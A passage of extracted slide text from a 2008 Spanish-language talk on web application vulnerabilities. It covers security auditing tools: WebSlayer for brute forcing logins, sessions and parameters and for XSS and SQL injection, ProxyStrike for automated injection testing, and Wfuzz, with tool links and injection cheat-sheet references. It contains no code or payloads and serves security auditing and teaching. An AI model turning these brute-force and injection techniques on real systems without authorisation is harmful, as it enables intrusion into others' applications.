WebSlayer
Predictable resource locator, recursion supported
Login form bruteforce
Session bruteforce
Parameter bruteforce
Parameter Injection (XSS, SQL)
Basic and Ntml Bruteforcing
Nueva herramienta para realizar todo tipo de ataques de fuerza bruta sobre aplicaciones webs.
Basada en wfuzz
84
![Page 85: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/85.jpg)
Multiple payloads
All parameter injection (Get, Post, Headers)
NTLM and Basic support and bruteforcing
Payload encoding
Tailored dictionaries for known applications (Apache, Tomcat, Weblogic, Websphere,Vignette, etc) Thanks to DarkRaver www.open-labs.org
WebSlayer
85
![Page 86: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/86.jpg)
WebSlayer
WebSlayer
86
![Page 87: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/87.jpg)
WebSlayer
DEMO [Webslayer]
87
![Page 88: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/88.jpg)
ProxyStrike
Herramienta para auditar aplicaciones WEB
Actualmente detecta XSS y SQL Injection
Es un proxy que mientras se navega la aplicación, realiza las inyecciones de SQL y XSS en todos los parámetros dinámicos.
88
![Page 89: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/89.jpg)
ProxyStrike
89
![Page 90: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/90.jpg)
ProxyStrike
90
![Page 91: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/91.jpg)
ProxyStrike
91
![Page 92: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/92.jpg)
TOOLS
www.edge-security.com
Wfuzz: http://www.edge-security.com/wfuzz.php
WebSlayer: http://www.edge-security.com/webslayer/Webslayer.html
ProxyStrike: http://www.edge-security.com/proxystrike.php
92
![Page 93: Principales vulnerabilidades en Aplicaciones Web - Rediris 2008](https://reader033.vdocuments.mx/reader033/viewer/2022052410/5560c0ccd8b42afe3b8b54b5/html5/thumbnails/93.jpg)
Referencias
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://www.0x000000.com/index.php?i=14
http://www.xssed.com/xssinfo
Dhanjani Hack-lu presentation
One Way Hacking http://net-square.com/papers/one_way/one_way.html
Owasp http://www.owasp.org
93